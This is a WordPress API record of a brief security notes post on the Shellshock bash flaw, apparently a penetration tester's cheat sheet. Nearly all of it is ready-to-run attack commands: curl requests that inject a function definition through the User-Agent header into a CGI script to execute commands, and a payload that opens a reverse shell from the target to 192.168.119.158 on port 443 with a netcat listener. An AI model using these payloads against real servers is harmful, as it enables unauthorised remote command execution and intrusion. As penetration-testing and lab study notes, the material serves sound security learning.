{"id":1401,"date":"2020-05-07T13:46:43","date_gmt":"2020-05-07T11:46:43","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1401"},"modified":"2023-12-20T20:56:32","modified_gmt":"2023-12-20T19:56:32","slug":"shellshock","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1401","title":{"rendered":"Shellshock"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Old\u00ader bash ver\u00adsions may exe\u00adcute code after func\u00adtion definitions.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Via command line<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/resources.infosecinstitute.com\/practical-shellshock-exploitation-part-1\/\">Source with explanation<\/a><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">export newfunction='() { echo 'shellshockdemo';}; echo vulnerable'<\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">Via a web server \/ <span class=\"caps\">CGI<\/span> script<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">Cau\u00adtion: <strong>Try the reverse shell exam\u00adple in Burp also if the curl com\u00admand&nbsp;fails!<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted bbcode_code\">curl http:\/\/$target\/cgi-bin\/admin.cgi -s &gt; before\ncurl -H \"User-Agent: () { :; }; \/bin\/bash -c 'id; pwd; whoami 2&gt;&amp;1;'\" http:\/\/$target\/cgi-bin\/admin.cgi -s &gt;  after\ndiff before after<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Remem\u00adber to redi\u00adrect stderr if some\u00adthing does\u00adn\u2019t work as expected!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Get\u00adting a reverse shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvp 443\ncurl -H \"User-Agent: () { :; }; \/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/192.168.119.158\/443 0&gt;&amp;1;'\" http:\/\/$target\/cgi-bin\/admin.cgi -s<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Old\u00ader bash ver\u00adsions may exe\u00adcute code after func\u00adtion def\u00adi\u00adn\u00adi\u00adtions. Via com\u00admand line Source with expla\u00adna\u00adtion export new\u00adfunc\u00adtion=\u2019() { echo \u2018shell\u00adshock\u00adde\u00admo\u2019;}; echo vul\u00adner\u00ada\u00adble\u2019 Via a web serv\u00ader \/ <span class=\"caps\">CGI<\/span> script Cau\u00adtion: Try the reverse shell exam\u00adple in Burp also if the curl com\u00admand&nbsp;fails! curl http:\/\/$target\/cgi-bin\/admin.cgi \u2011s &gt; before curl \u2011H \u201cUser-Agent: () { :; }; \/bin\/bash [\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[468],"tags":[70,265],"class_list":["post-1401","post","type-post","status-publish","format-standard","hentry","category-general","tag-bash","tag-shellshock"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1401"}],"version-history":[{"count":7,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1401\/revisions"}],"predecessor-version":[{"id":2399,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1401\/revisions\/2399"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1401"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}